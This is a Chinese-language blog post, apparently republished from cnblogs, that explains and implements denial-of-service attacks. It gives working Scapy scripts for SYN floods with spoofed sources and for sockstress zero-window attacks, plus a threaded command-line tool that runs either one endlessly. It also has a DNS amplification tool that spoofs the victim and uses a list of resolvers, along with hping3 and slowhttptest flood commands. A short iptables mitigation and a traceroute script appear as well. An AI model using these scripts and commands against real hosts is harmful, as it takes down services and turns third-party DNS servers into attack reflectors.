zoukankan      html  css  js  c++  java
  • DOS 流量攻击的分类与实现

    SynFlood 洪水攻击

    Syn-Flood攻击属于TCP攻击,Flood类攻击中最常见,危害最大的是Syn-Flood攻击,也是历史最悠久的攻击之一,该攻击属于半开放攻击,攻击实现原理就是通过发送大量半连接状态的数据包,从而耗尽目标系统的连接池,默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。windows 系统半开连接数是10个

    攻击者伪造地址对服务器发起SYN请求,服务器就会回应 SYN+ACK 此时攻击者的主机拒绝发送 RST+ACK 那么,服务器接收不到RST请求,就会认为客户端还没有准备好,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。

    虽然有丢弃的环节,但是如果攻击者的攻击速度大于目标主机的丢包速度的话,就会发生拒绝服务,因为TCP连接池一旦被填满,那么真正的连接无法建立,无法响应正常请求。

    可以使用scapy工具进行验证,发送一个正常数据包,代码如下,发生攻击后再服务器上通过使用 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}' 匹配所有半开放链接,你可以看都非常多等待状态的连接得不到相应。

    ip = IP()
    ip.dst="192.168.1.10"
    tcp=TCP()
    sr1(ip/tcp,verbose=1,timeout=3)
    sr1(IP(dst="192.168.1.10")/TCP())
    

    攻击代码如下

    #coding=utf-8
    import socket, sys, random
    from scapy.all import *
    scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
    
    # windows 系统半开连接数是10个
    # iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.1.10 -j DROP
    # 匹配所有半开放链接 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
    # ip = IP()
    # ip.dst="192.168.1.10"
    # tcp=TCP()
    # sr1(ip/tcp,verbose=1,timeout=3)
    # sr1(IP(dst="192.168.1.10")/TCP())
    
    target = "192.168.1.20"
    dstport = 22
    isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
    isrc = "192.168.1.2"
    print(isrc,dstport)
    
    isport = random.randint(1,65535)
    ip = IP(src = isrc,dst = target)
    syn = TCP(sport = isport, dport = dstport, flags = 'S')
    send(ip / syn, verbose = 0)
    

    Sock Stress 全连接攻击

    该攻击方式属于TCP全连接攻击,因为需要建立一次完整的TCP三次握手,该攻击的关键点就在于,攻击主机将windows窗口缓冲设置为0,实现的拒绝服务。
    攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。

    该攻击与目标建立大量的socket连接,并且都是完整连接,最后的ACK包,将Windows大小设置为0,客户端不接收数据,而服务器会认为客户端缓冲区没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机也可以拒绝高配的服务器。

    #coding=utf-8
    import socket, sys, random
    from scapy.all import *
    scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
    
    def sockstress(target,dstport):
    	xport = random.randint(0,65535)
    	response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
    	send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'x00x00',verbose=0)
    
    sockstress("192.168.1.20",80)
    

    除了自己编写代码实现以外还可以下载一个项目 https://github.com/defuse/sockstress 该项目是发现这个漏洞的作者编写的利用工具,具体使用如下。

    iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻击主机IP -j DROP
    wget https://www.blib.cn/sh/sockstress.c
    git clone https://github.com/defuse/sockstress
    gcc -Wall -c sockstress.c
    gcc -pthread -o sockstress sockstress.o
    ./sockstress 192.168.1.10:3306 eth0
    ./sockstress 192.168.1.10:80 eth0 -p payloads/http
    

    直到今天sockstress攻击仍然效果明显,由于攻击过程建立了完整的TCP三次握手,所以使用syn cookie防御无效,我们可以通过防火墙限制单位时间内每个IP建立的TCP连接数来阻止这种攻击的蔓延。

    [root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
    [root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
    

    但是该方法依然我发防御DDOS拒绝服务的攻击,这种攻击只能拼机器拼资源了。

    最后将前面两种攻击手段封装成一个,该代码只能在Linux系统下使用。

    #coding=utf-8
    # iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
    from optparse import OptionParser
    import socket,sys,random,threading
    from scapy.all import *
    
    scapy.config.conf.iface = 'ens32'
    
    # 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
    def sockstress(target,dstport):
        semaphore.acquire()       # 加锁
        isport = random.randint(0,65535)
        response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
        send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'x00x00',verbose=0)
        print("[+] sendp --> {} {}".format(target,isport))
        semaphore.release()       # 释放锁
    
    # 攻击目标主机TCP/IP半开放连接数,windows系统半开连接数是10个
    def synflood(target,dstport):
        semaphore.acquire()       # 加锁
        issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
        isport = random.randint(1,65535)
        ip = IP(src = issrc,dst = target)
        syn = TCP(sport = isport, dport = dstport, flags = 'S')
        send(ip / syn, verbose = 0)
        print("[+] sendp --> {} {}".format(target,isport))
        semaphore.release()       # 释放锁
    
    if __name__ == "__main__":
        parser = OptionParser()
        parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
        parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
        parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
        parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
        (options,args) = parser.parse_args()
        # 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
        if options.types == "synflood" and options.host and options.port and options.thread:
            semaphore = threading.Semaphore(options.thread)
            while True:
                t = threading.Thread(target=synflood,args=(options.host,options.port))
                t.start()
        elif options.types == "sockstress" and options.host and options.port and options.thread:
            semaphore = threading.Semaphore(options.thread)
            while True:
                t = threading.Thread(target=sockstress,args=(options.host,options.port))
                t.start()
        else:
            parser.print_help()
    

    使用syn flood 攻击方式:python3 c.py --type=synflood -H 192.168.1.10 -p 3389 -t 100
    使用sock并发攻击: python3 c.py --type=sockstress -H 192.168.1.10 -p 80 -t 100


    以太网数据包分段

    备注:以下的两张图片来源于,安全牛课件,感觉不错,我就不自己画图了,原理很简单的东西。

    数据包的最大传输单位是1500,如果超过这个大小数据包将会分片传输,分片传输则需要设置传输ID号,以及ip.frag_offset偏移值,当设置了偏移值的时候,系统默认根据ID号为单位对数据包进行分段接收,收到全部包时在进行组合,并传输给系统识别。

    传输第一个数据包时会跟随有MAC头,上层包头等完整信息,传输后续包的时候默认只会保留IP头与数据段,在IP头保留 Fragment offset 说明这是一个分段传输。

    下面以执行ping -l 5000 192.168.1.10 为例,向目标发送5000字节大小的数据包,5000/1480 = 3.37 也就会分四段进行传输。

    如下图,可以看出每次发送的数据都是,Total Length: 1500,而Fragment offset则指定每一个数据包的实际偏移值,ID则是数据包的分组号。

    最后一个数据包将会把剩下的数据进行传递,并开始差错校验,组合成最终的数据。


    DNS查询放大攻击

    通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。

    此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2) 查询指定网站的DNS记录,结果如下。

    上图可以看出,我们所发送的数据长度要小于接收到的数据长度,流量差不多被放大了3倍左右,我们只需要将源地址伪造为被害机器,并使用海量的DNS服务器作为僵尸主机发包,即可完成DDOS攻击。

    这里需要在网上找一些DNS服务器,我整理了一些: https://www.blib.cn/sh/dnslist.log 脚本验证可用性

    import socket,os,sys
    from scapy.all import *
    
    def Inspect_DNS_Usability(filename):
        proxy_list = []
        fp = open(filename,"r")
        for i in fp.readlines():
            try:
                addr = i.replace("
    ","")
                respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
                if respon != "":
                    proxy_list.append(str(respon["IP"].src))
            except Exception:
                pass
        return proxy_list
    proxy = Inspect_DNS_Usability("./dnslist.log")
    fp = open("pass.log","w+")
    for item in proxy:
        fp.write(item + "
    ")
    fp.close()
    

    验证好有效性以后,接着就是Python多线程发包测试了,scapy构建数据包时由于DNS数据包比较特殊,构建是应该按照顺序 IP/UDP/DNS来构建,以下代码可以完成发包测试

    import socket,os,sys
    from scapy.all import *
    
    # 构造IP数据包
    ip_pack = IP()
    ip_pack.src = "192.168.1.2"
    ip_pack.dst = "8.8.8.8"
    
    # 构造UDP数据包
    udp_pack = UDP()
    udp_pack.sport = 53
    udp_pack.dport = 53
    
    # 构建DNS数据包
    dns_pack = DNS()
    dns_pack.rd = 1
    dns_pack.qdcount = 1
    
    # 构建DNSQR解析
    dnsqr_pack = DNSQR()
    dnsqr_pack.qname = "baidu.com"
    dnsqr_pack.qtype = 255
    
    dns_pack.qd = dnsqr_pack
    respon = (ip_pack/udp_pack/dns_pack)
    sr1(respon)
    

    最后的代码如下。

    import os,sys,threading,time
    from scapy.all import *
    from optparse import OptionParser
    
    def Inspect_DNS_Usability(filename):
        proxy_list = []
        fp = open(filename,"r")
        for i in fp.readlines():
            try:
                addr = i.replace("
    ","")
                respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
                if respon != "":
                    proxy_list.append(str(respon["IP"].src))
            except Exception:
                pass
        return proxy_list
    
    def DNS_Flood(target,dns):
        # 构造IP数据包
        ip_pack = IP()
        ip_pack.src = target
        ip_pack.dst = dns
    #   ip_pack.src = "192.168.1.2"
    #   ip_pack.dst = "8.8.8.8"
        # 构造UDP数据包
        udp_pack = UDP()
        udp_pack.sport = 53
        udp_pack.dport = 53
        # 构造DNS数据包
        dns_pack = DNS()
        dns_pack.rd = 1
        dns_pack.qdcount = 1
        # 构造DNSQR解析
        dnsqr_pack = DNSQR()
        dnsqr_pack.qname = "baidu.com"
        dnsqr_pack.qtype = 255
        dns_pack.qd = dnsqr_pack
        respon = (ip_pack/udp_pack/dns_pack)
        sr1(respon)
    
    if __name__ == "__main__":
        parser = OptionParser()
        parser.add_option("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")
        parser.add_option("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")
        parser.add_option("-t",dest="target",help="输入需要攻击的IP地址")
        (options,args) = parser.parse_args()
        # 使用方式: main.py --mode=check -f xxx.log
        if options.mode == "check" and options.file:
            proxy = Inspect_DNS_Usability(options.file)
            fp = open("pass.log","w+")
            for item in proxy:
                fp.write(item + "
    ")
            fp.close()
            print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
        # 使用方式: main.py --mode=flood -f xxx.log -t 192.168.1.1
        elif options.mode == "flood" and options.target and options.file:
            with open(options.file,"r") as fp:
                countent = [line.rstrip("
    ") for line in fp]
                while True:
                    randomDNS = str(random.sample(countent,1)[0])
                    print("[+] 目标主机: {} -----> 随机DNS: {}".format(options.target,randomDNS))
                    t = threading.Thread(target=DNS_Flood,args=(options.target,randomDNS,))
                    t.start()
        else:
            parser.print_help()
    

    应用层DOS慢速攻击

    slowhttptest: 该攻击是一款慢速攻击工具,其擅长攻击Apache/Tomcat这里应用层服务,通常情况下,http协议在接收到完整的客户端请求数据包时才会开始处理本次请求,但如果攻击者通过修改数据包中的Window窗口大小,实现慢速发送数据包,那么服务器就会始终为其保留连接池资源占用,此类大量的并发请求将会导致目标应用服务的连接池爆满,从而无法相应正常用的请求。

    1.下载并安装

    lyshark@Dell:~$ git clone https://github.com/shekyan/slowhttptest.git
    lyshark@Dell:~$ ./configure
    lyshark@Dell:~$ make && make install
    lyshark@Dell:~$ slowhttptest --help
    
     -g      在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
     -H      SlowLoris模式
     -B      Slow POST模式
     -R      Range Header模式
     -X      Slow Read模式
     -c      number of connections 测试时建立的连接数
     -d      HTTP proxy host:port  为所有连接指定代理
     -e      HTTP proxy host:port  为探测连接指定代理
     -i      seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
     -l      seconds 测试维持时间
     -n      seconds 在Slow Read模式下,指定每次操作的时间间隔。
     -o      file name 使用-g参数时,可以使用此参数指定输出文件名
     -p      seconds 指定等待时间来确认DoS攻击已经成功
     -r      connections per second 每秒连接个数
     -s      bytes 声明Content-Length header的值
     -t      HTTP verb 在请求时使用什么操作,默认GET
     -u      URL  指定目标url
     -v      level 日志等级(详细度)
     -w      bytes slow read模式中指定tcp窗口范围下限
     -x      bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
     -y      bytes slow read模式中指定tcp窗口范围上限
     -z      bytes 在每次的read()中,从buffer中读取数据量
    

    2.使用方式.

    slowloris模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击
    
    slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://www.xxx.com/index.html -x 24 -p 3
    
    slow post模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击
    
    slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://www.xxx.com/index.html -x 10 -p 3
    
    slow read模式:攻击者通过调整TCP Window窗口大小,使服务器慢速返回数据
    
    slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://www.xxx.com/index.html -p 3
    

    Hping3: 工具的使用,该工具灵活性极高,常用于定制发送TCP/IP数据包,例如定制SYN Flood攻击包,ICMP/UDP等攻击

    # 进行Syn Flood攻击, -c=攻击次数/ -d=数据包大小/ -S=Syn/ -p=端口 / -w = window窗口大小 / --flood=洪水攻击 --rand-source=随机源地址
    hping3 - c 2000 -d 100 -S -w 64 -p 80 --flood --rand-source 192.168.1.10
    hping3 -S -P -U -p 80 --flood --rand-source 192.168.1.10
    
    # 进行TCP Flood攻击,
    hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.10
    
    # 进行UDP flood 攻击
    hping3 -a 192.168.1.10 --udp -s 53 -d 100 -p 53 --flood 192.168.1.10
    
    # 进行ICMP攻击
    hping3 -q -n -a 192.168.1.10 --icmp -d 56 --flood 192.168.1.10
    
    # 特殊TCP攻击:源地址目标地址都是受害者,受害者自己完成三次握手
    hping3 -n -a 192.168.1.10 -S -d 100 -p 80 --flood 192.168.1.10
    

    tracert TTL值(拓展)

    tracert 命令,跟踪路由原理是IP路由每经过一个路由节点TTL值会减一,假设TTL值=0时数据包还没有到达目标主机,那么该路由则会回复给目标主机一个数据包不可达,由此我们就可以获取到目标主机的IP地址,如下通过scapy构造一个TTL为1的数据包,发送出去。

    >>> from random import randint
    >>> RandomID=randint(1,65534)
    >>> packet = IP(dst="61.135.169.125", ttl=1, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "hello"
    >>> respon = sr1(packet,timeout=3,verbose=0)
    >>>
    >>> respon
    <IP  version=4 ihl=5 tos=0xc0 len=61 id=14866 flags= frag=0 ttl=64 proto=icmp chksum=0xbc9a src=192.168.1.1 dst=192.168.1.2 |<ICMP  type=time-exceeded code=ttl-zero-during-transit chksum=0xf4ff reserved=0 length=0 unused=None |<IPerror  version=4 ihl=5 tos=0x0 len=33 id=49588 flags= frag=0 ttl=1 proto=icmp chksum=0x4f79 src=192.168.1.2 dst=61.135.169.125 |<ICMPerror  type=echo-request code=0 chksum=0x30c4 id=0xc1b4 seq=0xc1b4 |<Raw  load='hello' |>>>>>
    

    一開始发送一个TTL为1的包,这样到达第一个路由器的时候就已经超时了,第一个路由器就发ICMP通知说包超时,这样就能够记录下所经过的第一个路由器的IP。然后将TTL加1,安全通过第一个路由器,而第二个路由器的的处理与第一个同样,丢包,发通知说包超时了,这样记录下第二个路 由器IP,由此能够一直进行下去,直到这个数据包到达目标主机,由此打印出全部经过的路由器。

    将这个过程自动化,就可以完成数据包的跟踪,Python 代码如下所示

    from scapy.all import *
    from random import randint
    import time,ipaddress,threading
    from optparse import OptionParser
    
    def ICMP_Ping(addr):
        RandomID=randint(1,65534)
        packet = IP(dst=addr, ttl=64, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "lyshark"
        respon = sr1(packet,timeout=3,verbose=0)
        if respon:
            print("[+] --> {}".format(str(respon[IP].src)))
    
    def TraceRouteTTL(addr):
        for item in range(1,128):
            RandomID=randint(1,65534)
            packet = IP(dst=addr, ttl=item, id=RandomID) / ICMP(id=RandomID, seq=RandomID)
            respon = sr1(packet,timeout=3,verbose=0)
            if respon != None:
                ip_src = str(respon[IP].src)
                if ip_src != addr:
                    print("[+] --> {}".format(str(respon[IP].src)))
                else:
                    print("[+] --> {}".format(str(respon[IP].src)))
                    return 1
            else:
                print("[-] --> TimeOut")
            time.sleep(1)
    
    if __name__== "__main__":
        parser = OptionParser()
        parser.add_option("--mode",dest="mode",help="选择使用的工具模式<ping/trace>")
        parser.add_option("-a","--addr",dest="addr",help="指定一个IP地址或范围")
        (options,args) = parser.parse_args()
        # 使用方式: main.py --mode=ping -a 192.168.1.0/24
        if options.mode == "ping":
            net = ipaddress.ip_network(str(options.addr))
            for item in net:
                t = threading.Thread(target=ICMP_Ping,args=(str(item),))
                t.start()
        # 使用方式: main.py --mode=trace -a 61.135.169.121
        elif options.mode == "trace":
            TraceRouteTTL(str(options.addr))
        else:
            parser.print_help()
    
  • 相关阅读:
    2017.7.14 C组总结
    2017.7.13 C组总结
    2017.7.12 C组总结
    2017.7.10 C组总结
    2017.7.11 C组总结
    2017.7.9 C组 总结
    2017.7.8 C组总结
    2017.7.7 C组总结
    2017.7.6 C组总结
    SSL 2326——小球
  • 原文地址:https://www.cnblogs.com/LyShark/p/12411435.html
Copyright © 2011-2022 走看看